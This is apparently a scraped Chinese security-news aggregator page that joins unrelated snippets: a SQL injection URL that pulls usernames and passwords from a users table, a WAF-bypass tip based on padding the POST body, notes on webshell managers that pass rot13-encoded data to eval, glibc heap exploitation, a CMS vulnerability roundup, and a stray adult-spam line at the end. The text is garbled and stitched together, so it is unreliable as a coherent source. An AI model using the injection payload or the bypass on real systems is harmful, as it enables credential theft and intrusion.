    http://hackrock.com:8205/index.aspx?id=-1--%0dunion select 1,username,password from dbo.users
    

    str函數控制字符
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    對于攻擊者而言,只需要在POST BODY前面添加許多無用的數據,把攻擊的payload放在最后即可繞過WAF檢測。實驗步驟首先使用BurpSuite抓取數據包,并記下數據包的Header信息編寫好我們的Python腳本進行FUZZ:#!
    開放虛擬機格式(Open Virtual Machine Format,OVF)是一種虛擬機分配格式,能夠支持不同產品與組織之間共享虛擬機。 VMware OVF Tool是由VMware免費提供的一款支持虛擬的導入導出工具,支持以命令提示符的方式運行。
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    某CMS漏洞合集
    2023-06-27 16:12:06
    2)contorl.php:對$_GET進行全局過濾危險的SQL函數。這個過濾從最簡單的角度來說,即mysql<8的情況下,把select禁用了,其實就沒辦法進行跨表查詢,SQL利用造成危害的可能性會大大降低,當然這是一種直接且無需考慮用戶體驗為原則的暴力做法,點到為止吧。回到web_inc.php,繼續閱讀,后面吸引我的地方,在于 89 line一處SQL語句的地方。
    后果:修改內容為在head內添加了meta標簽和修改了title標簽,標簽內容為非法內容,搜索引擎的爬蟲在爬取該站點時會爬取meta標簽的內容,那么用戶在百度搜索關鍵詞時,會檢索出不良內容。
    0x00 前言常見webshell管理工具的分析記錄,著重在流量側。0x01 caidao1、配置使用菜刀是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。支持動態腳本[如php/jsp/aspx/asp]的網站!新版antSword的ua也做了隨機變換。在內置的rot13編碼和解碼器下,數據會通過隨機變量傳遞給str_rot13函數,通過變換還原后再交給eval函數執行。
    Glibc2.29及以上版本堆的利用技巧越來越復雜,簡直就是神仙打架,實在學得有點頭暈。并且很多時候就算我們有了復用堆塊在出題人的各種圍追堵截的限制下,也可能沒辦法getshell,所以一直在不斷開發新的利用姿勢。
    前言本文主要著眼于glibc下的一些漏洞及利用技巧和IO調用鏈,由淺入深,分為 “基礎堆利用漏洞及基本IO攻擊” 與 “高版本glibc下的利用” 兩部分來進行講解,前者主要包括了一些glibc相關的基礎知識,以及低版本glibc下常見的漏洞利用方式,后者主要涉及到一些較新的glibc下的IO調用鏈。
    一般翻譯做“散列”,也有直接音譯為“哈希”的,就是把任意長度的輸入,通過散列算法,變換成固定長度的輸 出,該輸出就是散列值。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类